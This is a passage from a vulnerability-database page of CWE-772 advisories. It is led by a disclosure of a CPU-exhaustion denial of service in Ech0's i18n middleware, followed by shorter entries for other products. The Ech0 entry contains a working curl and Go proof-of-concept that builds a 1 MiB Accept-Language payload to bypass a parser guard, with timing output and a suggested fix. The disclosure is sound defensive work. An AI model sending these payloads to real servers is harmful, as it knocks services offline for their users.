GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-772

Allowed

Missing Release of Resource after Effective Lifetime

Abstraction: Base · Status: Draft

The product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.

594 vulnerabilities reference this CWE, most recent first.

GHSA-MQXV-9RM6-W8QC

Vulnerability from github – Published: 2026-07-14 19:58 – Updated: 2026-07-14 19:58
VLAI
Summary
Ech0: ParseAcceptLanguage `_` separator bypass enables ~70x CPU amplification via Accept-Language header in i18n.Middleware
Details

Summary

Ech0's i18n middleware runs on every HTTP request and constructs a fresh *goi18n.Localizer from the raw Accept-Language header without imposing any size or shape filter. goi18n.NewLocalizer calls golang.org/x/text/language.ParseAcceptLanguage on the value internally. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators burns about 1.5 seconds of server CPU on the host running Ech0; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth.

Affected versions

github.com/lin-snow/Ech0 v4.8.2 and (per code inspection of main) earlier 4.x versions that wire the internal/i18n.Middleware() gin middleware on the global router without imposing their own size limit on Accept-Language. Verified on:

  • the official ghcr.io/lin-snow/ech0:latest Docker image at v4.8.2 (E2E below)
  • main at commit 451c7c10eb1f23f7525c163e83f8b39f46d5aad0 by reading internal/i18n/i18n.go (the middleware and setLocaleContext call site are unchanged)

Privilege required

Unauthenticated. The i18n.Middleware runs for every HTTP request including the public landing page, the public comments feed, and the unauthenticated /api/echo/page endpoint.

Vulnerable code

internal/i18n/i18n.go (blob SHA 451c7c10eb1f23f7525c163e83f8b39f46d5aad0), the gin middleware Middleware() at lines 202-213:

func Middleware() gin.HandlerFunc {
    return func(ctx *gin.Context) {
        explicit := explicitLocaleFromRequest(ctx)
        acceptLanguage := strings.TrimSpace(ctx.GetHeader("Accept-Language"))
        locale := systemDefaultLocale()
        if explicit != "" {
            locale = ResolveLocale(explicit, acceptLanguage)
        }
        setLocaleContext(ctx, locale, acceptLanguage)
        ctx.Next()
    }
}

setLocaleContext at line 191 then calls NewLocalizer(normalized, acceptLanguage):

func setLocaleContext(ctx *gin.Context, locale, acceptLanguage string) {
    if ctx == nil {
        return
    }
    normalized := ResolveLocale(locale)
    localizer := NewLocalizer(normalized, acceptLanguage)
    ctx.Set(ContextLocaleKey, normalized)
    ctx.Set(ContextLocalizerKey, localizer)
    ctx.Header("Content-Language", normalized)
}

NewLocalizer is a thin wrapper around goi18n.NewLocalizer, which internally calls language.ParseAcceptLanguage(lang) for every passed string in its parseTags helper (see github.com/nicksnyder/go-i18n/v2@v2.6.0/i18n/localizer.go:42-50). So the unfiltered acceptLanguage reaches language.ParseAcceptLanguage on every request.

ctx.GetHeader("Accept-Language") is the unfiltered HTTP header. Go's default net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Ech0 does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.

The additional ResolveLocale path at line 208 also calls language.ParseAcceptLanguage(strings.Join(parts, ",")) directly when X-Locale or the lang query parameter is set, with the same vector and a longer-running effect (the input concatenates explicit + acceptLanguage so the parser sees both, and the path is exercised twice).

CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 1 MiB header full of 9-character _abcdefghi tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path.

How Accept-Language reaches ParseAcceptLanguage

The middleware sequence on any HTTP request:

  1. The request enters i18n.Middleware().
  2. ctx.GetHeader("Accept-Language") returns the full attacker-supplied header value.
  3. setLocaleContext is called with that value.
  4. NewLocalizer(normalized, acceptLanguage) constructs a goi18n localizer; goi18n's parseTags calls language.ParseAcceptLanguage(acceptLanguage) unfiltered.

No size or character-class filter is applied between (2) and (4). When X-Locale or ?lang= is also present, the parser is invoked twice on related input via the explicit ResolveLocale(explicit, acceptLanguage) path at line 210.

Proof of concept

Single-line bash reproducer that crafts the malicious header and times one request against a fresh ghcr.io/lin-snow/ech0:latest container:

docker run -d --name ech0 --rm -p 18300:6277 ghcr.io/lin-snow/ech0:latest
sleep 5

PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"

curl -sS -o /dev/null \
  -w 'http=%{http_code} t=%{time_total}\n' \
  -H "Accept-Language: ${PAYLOAD}" \
  http://127.0.0.1:18300/

Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).

End-to-end reproduction (against ghcr.io/lin-snow/ech0:latest at v4.8.2)

A Go driver poc.go boots the container, sends a 1 MiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):

// poc.go
package main

import (
    "fmt"
    "io"
    "net"
    "net/http"
    "strings"
    "time"
)

const targetURL = "http://127.0.0.1:18300/"

func buildPayload(sep string, targetBytes int) string {
    const tok = "abcdefghi"
    var b strings.Builder
    b.Grow(targetBytes + 16)
    b.WriteString("en")
    for b.Len()+1+len(tok) <= targetBytes {
        b.WriteString(sep)
        b.WriteString(tok)
    }
    return b.String()
}

func send(label, header string) {
    client := &http.Client{
        Timeout: 60 * time.Second,
        Transport: &http.Transport{
            DisableKeepAlives: true,
            DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
        },
    }
    req, _ := http.NewRequest("GET", targetURL, nil)
    if header != "" {
        req.Header.Set("Accept-Language", header)
    }
    t0 := time.Now()
    resp, err := client.Do(req)
    dt := time.Since(t0)
    if err != nil {
        fmt.Printf("  %-32s ERR after %v: %v\n", label, dt, err)
        return
    }
    _, _ = io.Copy(io.Discard, resp.Body)
    resp.Body.Close()
    fmt.Printf("  %-32s header=%d B  '_'=%d  '-'=%d  status=%d  t=%v\n",
        label, len(header),
        strings.Count(header, "_"), strings.Count(header, "-"),
        resp.StatusCode, dt)
}

func main() {
    send("warm-up", "")
    send("baseline (no header)", "")
    send("baseline (1 short tag)", "en-US")
    send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
    send("attack ('_' x 1MiB)",     buildPayload("_", 1<<20))
    send("attack repeat 2",          buildPayload("_", 1<<20))
    send("attack repeat 3",          buildPayload("_", 1<<20))
}

Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official ghcr.io/lin-snow/ech0:latest image at v4.8.2):

E2E: golang/x/text ParseAcceptLanguage '_' bypass through
lin-snow/Ech0 v4.8.2 i18n middleware at
internal/i18n/i18n.go (Middleware -> setLocaleContext -> NewLocalizer).

Target: http://127.0.0.1:18300/   payload=1048576 B

  warm-up                                      header=0 B  '_'=0  '-'=0  status=200  t=7.692458ms

--- measurements (single request each) ---
  baseline (no header)                         header=0 B  '_'=0  '-'=0  status=200  t=2.666625ms
  baseline (1 short tag)                       header=5 B  '_'=0  '-'=1  status=200  t=1.981333ms
  guard-fires control ('-' x payload)          header=1048572 B  '_'=0  '-'=104857  status=200  t=21.445083ms
  attack ('_' x payload)                       header=1048572 B  '_'=104857  '-'=0  status=200  t=1.489513083s
  attack repeat 2                              header=1048572 B  '_'=104857  '-'=0  status=200  t=1.501842542s
  attack repeat 3                              header=1048572 B  '_'=104857  '-'=0  status=200  t=1.571093458s

Setting X-Locale: en in addition (which triggers the explicit-locale ResolveLocale path at line 210, calling ParseAcceptLanguage(strings.Join(parts, ",")) directly) makes the same request take ~7.9 s on the same host — the attacker doubles the work by adding one short header. Setting ?lang=en in the query gives ~3 s.

Interpretation:

Request Header bytes Server time
no header / short tag 0 - 5 2 - 8 ms
1 MiB - separators (CVE-2022-32149 guard fires) 1 MiB 21 ms
1 MiB _ separators (guard bypassed), no X-Locale 1 MiB 1.5 - 1.6 s
1 MiB _ separators with X-Locale: en 1 MiB ~7.9 s

The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator. The _ attack returns 200 from the same endpoint but consumes ~1.5 s of server CPU on the default path and ~7.9 s when the attacker adds a one-byte X-Locale: en header. The amplification factor at the application boundary is ~70x in the default case (21 ms guard-fires vs 1.5 s attack on the same 1 MiB header) and ~370x in the X-Locale variant.

Impact

  • One unauthenticated client can pin one CPU core for ~1.5 seconds per 1 MiB request, or ~7.9 seconds if the attacker adds the X-Locale: en header.
  • Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Ech0 instance indefinitely.
  • The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards.
  • Self-hosted Ech0 instances published to the public internet (the documented use case) are exposed.

Suggested fix

Apply the size / character-class filter at the i18n middleware boundary, before the Accept-Language value reaches setLocaleContext (and through it NewLocalizer). The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count _ alongside - and drop the header when the total exceeds a small ceiling:

// internal/i18n/i18n.go
const maxAcceptLanguageSeparators = 32 // real browsers send < 10

func sanitizeAcceptLanguage(v string) string {
    if strings.Count(v, "-")+strings.Count(v, "_") > maxAcceptLanguageSeparators {
        return ""
    }
    return v
}

func Middleware() gin.HandlerFunc {
    return func(ctx *gin.Context) {
        explicit := explicitLocaleFromRequest(ctx)
        acceptLanguage := sanitizeAcceptLanguage(strings.TrimSpace(ctx.GetHeader("Accept-Language")))
        locale := systemDefaultLocale()
        if explicit != "" {
            locale = ResolveLocale(explicit, acceptLanguage)
        }
        setLocaleContext(ctx, locale, acceptLanguage)
        ctx.Next()
    }
}

The same sanitizeAcceptLanguage should be applied wherever Accept-Language is consumed (HeaderLocale at line 230 and the user.go paths at lines 80, 275 that pass user input into ResolveLocale).

A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.

The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.

Credit

Reported by tonghuaroot.

Fix PR

https://github.com/lin-snow/Ech0-ghsa-mqxv-9rm6-w8qc/pull/1

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 5.0.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lin-snow/ech0"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-770",
      "CWE-772"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-14T19:58:54Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nEch0\u0027s i18n middleware runs on every HTTP request and constructs a fresh `*goi18n.Localizer` from the raw `Accept-Language` header without imposing any size or shape filter. `goi18n.NewLocalizer` calls `golang.org/x/text/language.ParseAcceptLanguage` on the value internally. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser\u0027s internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns about 1.5 seconds of server CPU on the host running Ech0; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth.\n\n### Affected versions\n\n`github.com/lin-snow/Ech0` v4.8.2 and (per code inspection of `main`) earlier 4.x versions that wire the `internal/i18n.Middleware()` gin middleware on the global router without imposing their own size limit on `Accept-Language`. Verified on:\n\n- the official `ghcr.io/lin-snow/ech0:latest` Docker image at v4.8.2 (E2E below)\n- `main` at commit `451c7c10eb1f23f7525c163e83f8b39f46d5aad0` by reading `internal/i18n/i18n.go` (the middleware and `setLocaleContext` call site are unchanged)\n\n### Privilege required\n\nUnauthenticated. The `i18n.Middleware` runs for every HTTP request including the public landing page, the public comments feed, and the unauthenticated `/api/echo/page` endpoint.\n\n### Vulnerable code\n\n[`internal/i18n/i18n.go`](https://github.com/lin-snow/Ech0/blob/451c7c10eb1f23f7525c163e83f8b39f46d5aad0/internal/i18n/i18n.go) (blob SHA `451c7c10eb1f23f7525c163e83f8b39f46d5aad0`), the gin middleware `Middleware()` at lines 202-213:\n\n```go\nfunc Middleware() gin.HandlerFunc {\n    return func(ctx *gin.Context) {\n        explicit := explicitLocaleFromRequest(ctx)\n        acceptLanguage := strings.TrimSpace(ctx.GetHeader(\"Accept-Language\"))\n        locale := systemDefaultLocale()\n        if explicit != \"\" {\n            locale = ResolveLocale(explicit, acceptLanguage)\n        }\n        setLocaleContext(ctx, locale, acceptLanguage)\n        ctx.Next()\n    }\n}\n```\n\n`setLocaleContext` at line 191 then calls `NewLocalizer(normalized, acceptLanguage)`:\n\n```go\nfunc setLocaleContext(ctx *gin.Context, locale, acceptLanguage string) {\n    if ctx == nil {\n        return\n    }\n    normalized := ResolveLocale(locale)\n    localizer := NewLocalizer(normalized, acceptLanguage)\n    ctx.Set(ContextLocaleKey, normalized)\n    ctx.Set(ContextLocalizerKey, localizer)\n    ctx.Header(\"Content-Language\", normalized)\n}\n```\n\n`NewLocalizer` is a thin wrapper around `goi18n.NewLocalizer`, which internally calls `language.ParseAcceptLanguage(lang)` for every passed string in its `parseTags` helper (see `github.com/nicksnyder/go-i18n/v2@v2.6.0/i18n/localizer.go:42-50`). So the unfiltered `acceptLanguage` reaches `language.ParseAcceptLanguage` on every request.\n\n`ctx.GetHeader(\"Accept-Language\")` is the unfiltered HTTP header. Go\u0027s default `net/http` `MaxHeaderBytes` is `1 \u003c\u003c 20` = 1 MiB and Ech0 does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.\n\nThe additional `ResolveLocale` path at line 208 also calls `language.ParseAcceptLanguage(strings.Join(parts, \",\"))` directly when `X-Locale` or the `lang` query parameter is set, with the same vector and a longer-running effect (the input concatenates `explicit + acceptLanguage` so the parser sees both, and the path is exercised twice).\n\nCVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 1 MiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N\u00b2) `gobble` path.\n\n### How `Accept-Language` reaches `ParseAcceptLanguage`\n\nThe middleware sequence on any HTTP request:\n\n1. The request enters `i18n.Middleware()`.\n2. `ctx.GetHeader(\"Accept-Language\")` returns the full attacker-supplied header value.\n3. `setLocaleContext` is called with that value.\n4. `NewLocalizer(normalized, acceptLanguage)` constructs a goi18n localizer; goi18n\u0027s `parseTags` calls `language.ParseAcceptLanguage(acceptLanguage)` unfiltered.\n\nNo size or character-class filter is applied between (2) and (4). When `X-Locale` or `?lang=` is also present, the parser is invoked twice on related input via the explicit `ResolveLocale(explicit, acceptLanguage)` path at line 210.\n\n### Proof of concept\n\nSingle-line bash reproducer that crafts the malicious header and times one request against a fresh `ghcr.io/lin-snow/ech0:latest` container:\n\n```bash\ndocker run -d --name ech0 --rm -p 18300:6277 ghcr.io/lin-snow/ech0:latest\nsleep 5\n\nPAYLOAD=\"en$(python3 -c \u0027print(\"_abcdefghi\" * 100000, end=\"\")\u0027)\"\necho \"header size = ${#PAYLOAD} bytes\"\n\ncurl -sS -o /dev/null \\\n  -w \u0027http=%{http_code} t=%{time_total}\\n\u0027 \\\n  -H \"Accept-Language: ${PAYLOAD}\" \\\n  http://127.0.0.1:18300/\n```\n\nEach 9-character `_abcdefghi` token has length 9, which fails the scanner\u0027s `len \u003c= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N\u00b2).\n\n### End-to-end reproduction (against `ghcr.io/lin-snow/ech0:latest` at v4.8.2)\n\nA Go driver `poc.go` boots the container, sends a 1 MiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed):\n\n```go\n// poc.go\npackage main\n\nimport (\n    \"fmt\"\n    \"io\"\n    \"net\"\n    \"net/http\"\n    \"strings\"\n    \"time\"\n)\n\nconst targetURL = \"http://127.0.0.1:18300/\"\n\nfunc buildPayload(sep string, targetBytes int) string {\n    const tok = \"abcdefghi\"\n    var b strings.Builder\n    b.Grow(targetBytes + 16)\n    b.WriteString(\"en\")\n    for b.Len()+1+len(tok) \u003c= targetBytes {\n        b.WriteString(sep)\n        b.WriteString(tok)\n    }\n    return b.String()\n}\n\nfunc send(label, header string) {\n    client := \u0026http.Client{\n        Timeout: 60 * time.Second,\n        Transport: \u0026http.Transport{\n            DisableKeepAlives: true,\n            DialContext: (\u0026net.Dialer{Timeout: 5 * time.Second}).DialContext,\n        },\n    }\n    req, _ := http.NewRequest(\"GET\", targetURL, nil)\n    if header != \"\" {\n        req.Header.Set(\"Accept-Language\", header)\n    }\n    t0 := time.Now()\n    resp, err := client.Do(req)\n    dt := time.Since(t0)\n    if err != nil {\n        fmt.Printf(\"  %-32s ERR after %v: %v\\n\", label, dt, err)\n        return\n    }\n    _, _ = io.Copy(io.Discard, resp.Body)\n    resp.Body.Close()\n    fmt.Printf(\"  %-32s header=%d B  \u0027_\u0027=%d  \u0027-\u0027=%d  status=%d  t=%v\\n\",\n        label, len(header),\n        strings.Count(header, \"_\"), strings.Count(header, \"-\"),\n        resp.StatusCode, dt)\n}\n\nfunc main() {\n    send(\"warm-up\", \"\")\n    send(\"baseline (no header)\", \"\")\n    send(\"baseline (1 short tag)\", \"en-US\")\n    send(\"guard-fires (\u0027-\u0027 x 1MiB)\", buildPayload(\"-\", 1\u003c\u003c20))\n    send(\"attack (\u0027_\u0027 x 1MiB)\",     buildPayload(\"_\", 1\u003c\u003c20))\n    send(\"attack repeat 2\",          buildPayload(\"_\", 1\u003c\u003c20))\n    send(\"attack repeat 3\",          buildPayload(\"_\", 1\u003c\u003c20))\n}\n```\n\nCaptured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official `ghcr.io/lin-snow/ech0:latest` image at v4.8.2):\n\n```\nE2E: golang/x/text ParseAcceptLanguage \u0027_\u0027 bypass through\nlin-snow/Ech0 v4.8.2 i18n middleware at\ninternal/i18n/i18n.go (Middleware -\u003e setLocaleContext -\u003e NewLocalizer).\n\nTarget: http://127.0.0.1:18300/   payload=1048576 B\n\n  warm-up                                      header=0 B  \u0027_\u0027=0  \u0027-\u0027=0  status=200  t=7.692458ms\n\n--- measurements (single request each) ---\n  baseline (no header)                         header=0 B  \u0027_\u0027=0  \u0027-\u0027=0  status=200  t=2.666625ms\n  baseline (1 short tag)                       header=5 B  \u0027_\u0027=0  \u0027-\u0027=1  status=200  t=1.981333ms\n  guard-fires control (\u0027-\u0027 x payload)          header=1048572 B  \u0027_\u0027=0  \u0027-\u0027=104857  status=200  t=21.445083ms\n  attack (\u0027_\u0027 x payload)                       header=1048572 B  \u0027_\u0027=104857  \u0027-\u0027=0  status=200  t=1.489513083s\n  attack repeat 2                              header=1048572 B  \u0027_\u0027=104857  \u0027-\u0027=0  status=200  t=1.501842542s\n  attack repeat 3                              header=1048572 B  \u0027_\u0027=104857  \u0027-\u0027=0  status=200  t=1.571093458s\n```\n\nSetting `X-Locale: en` in addition (which triggers the explicit-locale `ResolveLocale` path at line 210, calling `ParseAcceptLanguage(strings.Join(parts, \",\"))` directly) makes the same request take ~7.9 s on the same host \u2014 the attacker doubles the work by adding one short header. Setting `?lang=en` in the query gives ~3 s.\n\nInterpretation:\n\n| Request                                  | Header bytes | Server time |\n|------------------------------------------|--------------|-------------|\n| no header / short tag                    | 0 - 5        | 2 - 8 ms    |\n| 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 21 ms       |\n| 1 MiB `_` separators (guard bypassed), no X-Locale | 1 MiB | 1.5 - 1.6 s |\n| 1 MiB `_` separators with X-Locale: en   | 1 MiB        | ~7.9 s      |\n\nThe `-` control proves that the existing CVE-2022-32149 guard does still work on the canonical separator. The `_` attack returns 200 from the same endpoint but consumes ~1.5 s of server CPU on the default path and ~7.9 s when the attacker adds a one-byte `X-Locale: en` header. The amplification factor at the application boundary is ~70x in the default case (21 ms guard-fires vs 1.5 s attack on the same 1 MiB header) and ~370x in the X-Locale variant.\n\n### Impact\n\n- One unauthenticated client can pin one CPU core for ~1.5 seconds per 1 MiB request, or ~7.9 seconds if the attacker adds the `X-Locale: en` header.\n- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Ech0 instance indefinitely.\n- The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards.\n- Self-hosted Ech0 instances published to the public internet (the documented use case) are exposed.\n\n### Suggested fix\n\nApply the size / character-class filter at the i18n middleware boundary, before the `Accept-Language` value reaches `setLocaleContext` (and through it `NewLocalizer`). The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count `_` alongside `-` and drop the header when the total exceeds a small ceiling:\n\n```go\n// internal/i18n/i18n.go\nconst maxAcceptLanguageSeparators = 32 // real browsers send \u003c 10\n\nfunc sanitizeAcceptLanguage(v string) string {\n    if strings.Count(v, \"-\")+strings.Count(v, \"_\") \u003e maxAcceptLanguageSeparators {\n        return \"\"\n    }\n    return v\n}\n\nfunc Middleware() gin.HandlerFunc {\n    return func(ctx *gin.Context) {\n        explicit := explicitLocaleFromRequest(ctx)\n        acceptLanguage := sanitizeAcceptLanguage(strings.TrimSpace(ctx.GetHeader(\"Accept-Language\")))\n        locale := systemDefaultLocale()\n        if explicit != \"\" {\n            locale = ResolveLocale(explicit, acceptLanguage)\n        }\n        setLocaleContext(ctx, locale, acceptLanguage)\n        ctx.Next()\n    }\n}\n```\n\nThe same `sanitizeAcceptLanguage` should be applied wherever `Accept-Language` is consumed (`HeaderLocale` at line 230 and the `user.go` paths at lines 80, 275 that pass user input into `ResolveLocale`).\n\nA real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.\n\nThe underlying issue is in `golang.org/x/text/language`. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.\n\n### Credit\n\nReported by tonghuaroot.\n\n### Fix PR\n\nhttps://github.com/lin-snow/Ech0-ghsa-mqxv-9rm6-w8qc/pull/1",
  "id": "GHSA-mqxv-9rm6-w8qc",
  "modified": "2026-07-14T19:58:54Z",
  "published": "2026-07-14T19:58:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-mqxv-9rm6-w8qc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lin-snow/Ech0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Ech0: ParseAcceptLanguage `_` separator bypass enables ~70x CPU amplification via Accept-Language header in i18n.Middleware"
}

GHSA-MVFV-547P-MCWM

Vulnerability from github – Published: 2022-05-13 01:40 – Updated: 2022-05-13 01:40
VLAI
Details

A remote code execution vulnerability in the Android media framework (mpeg2 decoder). Product: Android. Versions: 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2. Android ID: A-37273673.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-0719"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-772"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-08-09T21:29:00Z",
    "severity": "HIGH"
  },
  "details": "A remote code execution vulnerability in the Android media framework (mpeg2 decoder). Product: Android. Versions: 6.0, 6.0.1, 7.0, 7.1.1, 7.1.2. Android ID: A-37273673.",
  "id": "GHSA-mvfv-547p-mcwm",
  "modified": "2022-05-13T01:40:32Z",
  "published": "2022-05-13T01:40:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0719"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2017-08-01"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/100204"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MX27-JHRP-2GFM

Vulnerability from github – Published: 2022-04-21 01:57 – Updated: 2024-02-28 01:12
VLAI
Details

PHP5 before 5.4.4 allows passing invalid utf-8 strings via the xmlTextWriterWriteAttribute, which are then misparsed by libxml2. This results in memory leak into the resulting output.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2010-4657"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-772"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-11-13T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "PHP5 before 5.4.4 allows passing invalid utf-8 strings via the xmlTextWriterWriteAttribute, which are then misparsed by libxml2. This results in memory leak into the resulting output.",
  "id": "GHSA-mx27-jhrp-2gfm",
  "modified": "2024-02-28T01:12:20Z",
  "published": "2022-04-21T01:57:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2010-4657"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/cve-2010-4657"
    },
    {
      "type": "WEB",
      "url": "https://bugs.launchpad.net/php/%2Bbug/655442"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2010-4657"
    },
    {
      "type": "WEB",
      "url": "https://security-tracker.debian.org/tracker/CVE-2010-4657"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MXM9-VQ8J-X8J2

Vulnerability from github – Published: 2025-08-20 15:31 – Updated: 2025-11-03 21:34
VLAI
Details

A denial of service vulnerability exists in the HTTP Header Parsing functionality of Tenda AC6 V5.0 V02.03.01.110. A specially crafted series of HTTP requests can lead to a reboot. An attacker can send multiple network packets to trigger this vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-30256"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-772"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-20T14:15:43Z",
    "severity": "HIGH"
  },
  "details": "A denial of service vulnerability exists in the HTTP Header Parsing functionality of Tenda AC6 V5.0 V02.03.01.110. A specially crafted series of HTTP requests can lead to a reboot. An attacker can send multiple network packets to trigger this vulnerability.",
  "id": "GHSA-mxm9-vq8j-x8j2",
  "modified": "2025-11-03T21:34:22Z",
  "published": "2025-08-20T15:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30256"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2166"
    },
    {
      "type": "WEB",
      "url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2166"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P2XQ-4649-MVV2

Vulnerability from github – Published: 2022-05-13 01:42 – Updated: 2022-05-13 01:42
VLAI
Details

IBM WebSphere MQ 8.0 and 9.0 could allow an authenticated user to cause a shared memory leak by MQ applications using dynamic queues, which can lead to lack of resources for other MQ applications. IBM X-Force ID: 125144.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-1283"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-772"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-11-27T21:29:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM WebSphere MQ 8.0 and 9.0 could allow an authenticated user to cause a shared memory leak by MQ applications using dynamic queues, which can lead to lack of resources for other MQ applications. IBM X-Force ID: 125144.",
  "id": "GHSA-p2xq-4649-mvv2",
  "modified": "2022-05-13T01:42:46Z",
  "published": "2022-05-13T01:42:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-1283"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/125144"
    },
    {
      "type": "WEB",
      "url": "http://www.ibm.com/support/docview.wss?uid=swg22003852"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-P38X-VHPH-J2VP

Vulnerability from github – Published: 2022-05-13 01:48 – Updated: 2022-05-13 01:48
VLAI
Details

hyperstart 1.0.0 in HyperHQ Hyper has memory leaks in the container_setup_modules and hyper_rescan_scsi functions in container.c, related to runV 1.0.0 for Docker.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-10205"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-772"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-04-19T08:29:00Z",
